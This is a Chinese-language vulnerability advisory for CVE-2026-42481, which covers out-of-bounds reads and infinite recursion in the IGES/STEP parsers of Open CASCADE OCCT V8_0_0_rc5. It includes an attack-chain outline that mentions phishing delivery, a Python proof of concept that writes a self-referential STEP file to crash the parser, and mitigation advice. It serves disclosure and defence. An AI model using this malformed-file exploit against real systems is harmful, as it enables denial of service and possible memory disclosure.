IPBUF安全漏洞报告
English
CVE-2026-42481 CVSS 5.5 中危

CVE-2026-42481 Open CASCADE越界读取及无限递归漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-42481
漏洞类型
越界读取, 无限递归, 拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open CASCADE Technology (OCCT)

相关标签

Open CASCADEOCCTCVE-2026-42481越界读取无限递归拒绝服务IGESSTEP内存泄露

漏洞概述

Open CASCADE Technology (OCCT) V8_0_0_rc5版本中的IGES和STEP文件解析器存在严重漏洞。攻击者可通过构造特制的IGES或STEP文件,触发越界读取或无限递归,导致程序崩溃(拒绝服务)或意外泄露内存信息。该漏洞CVSS评分为5.5,属于中危风险。

技术细节

该漏洞源于Open CASCADE Technology (OCCT) V8_0_0_rc5版本在解析复杂CAD文件时的逻辑缺陷。具体技术细节包括:首先,在评估IGES B样条曲线时,`Geom2d_BSplineCurve::EvalD0`函数未正确验证数组边界,导致越界读取操作;其次,在构建STEP B样条曲线时,`MakeBSplineCurveCommon`函数同样存在访问非法内存地址的风险;最后,当处理包含自引用的OrientedEdge实体时,`StepShape_OrientedEdge::EdgeStart`函数会陷入无限递归,耗尽栈空间。攻击者利用本地低权限账户,无需用户交互,通过诱导系统解析特制的恶意文件即可触发漏洞。成功利用可能导致应用程序崩溃(拒绝服务)或意外泄露内存中的敏感信息。

攻击链分析

STEP 1
攻击准备
攻击者分析Open CASCADE Technology (OCCT)的IGES和STEP文件解析器源码,发现Geom2d_BSplineCurve::EvalD0、MakeBSplineCurveCommon和StepShape_OrientedEdge::EdgeStart函数存在边界检查缺失和递归逻辑缺陷。
STEP 2
构造恶意文件
攻击者利用发现的缺陷,精心构造包含特定B样条曲线数据或自引用OrientedEdge实体的特制IGES或STEP文件。
STEP 3
文件投递
攻击者将恶意文件放置在目标系统上,或通过钓鱼邮件等方式诱导用户下载。由于攻击向量为本地,通常需要一定的本地访问权限。
STEP 4
触发漏洞
目标用户或应用程序使用受影响的OCCT版本(V8_0_0_rc5)打开或解析该恶意文件。解析器在处理畸形数据时执行越界读取或陷入无限递归。
STEP 5
达成攻击效果
应用程序因内存访问错误或栈溢出而崩溃(拒绝服务),或者由于越界读取导致敏感内存信息被泄露给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os # PoC for CVE-2026-42481: Open CASCADE Technology OCCT V8_0_0_rc5 Vulnerability # This script generates a malformed STEP file designed to trigger # infinite recursion in StepShape_OrientedEdge::EdgeStart # by creating a self-referential structure. malicious_step_content = """ISO-10303-21; HEADER; FILE_DESCRIPTION(('Open CASCADE Model'),'2;1'); FILE_NAME('exploit.step','2026-05-01',('Author'),('Organization'),'PreProcessor','Originating System','Authorization'); FILE_SCHEMA(('AUTOMOTIVE_DESIGN { 1 0 10303 214 1 1 1 1 }')); ENDSEC; DATA; /* Attempt to trigger infinite recursion via self-referential edge */ #1=CARTESIAN_POINT('',(0.E0,0.E0,0.E0)); #2=VERTEX_POINT('',#1); /* Self-referential definition attempt (Conceptual) */ /* In a real exploit, the specific entity IDs and structure would match the parser's logic */ #3=ORIENTED_EDGE('',*,*,#3,.T.); #4=EDGE_LOOP('',(#3)); #5=FACE_BOUND('',#4,.T.); ENDSEC; END-ISO-10303-21; """ def generate_poc(filename="cve_2026_42481_poc.step"): with open(filename, "w") as f: f.write(malicious_step_content) print(f"POC file generated: {filename}") print("Open this file with Open CASCADE Technology V8_0_0_rc5 to trigger the crash.") if __name__ == "__main__": generate_poc()

影响范围

Open CASCADE Technology V8_0_0_rc5

防御指南

临时缓解措施
建议用户不要打开来源不明的IGES或STEP文件。在受影响版本修复之前,可以在隔离的沙箱环境中处理相关文件,以防止系统崩溃或信息泄露。同时,应限制对解析软件的本地访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表